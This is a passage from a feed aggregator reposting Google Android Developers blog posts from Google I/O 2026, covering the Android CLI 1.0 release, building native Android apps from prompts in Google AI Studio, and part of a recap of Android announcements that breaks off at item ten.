  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
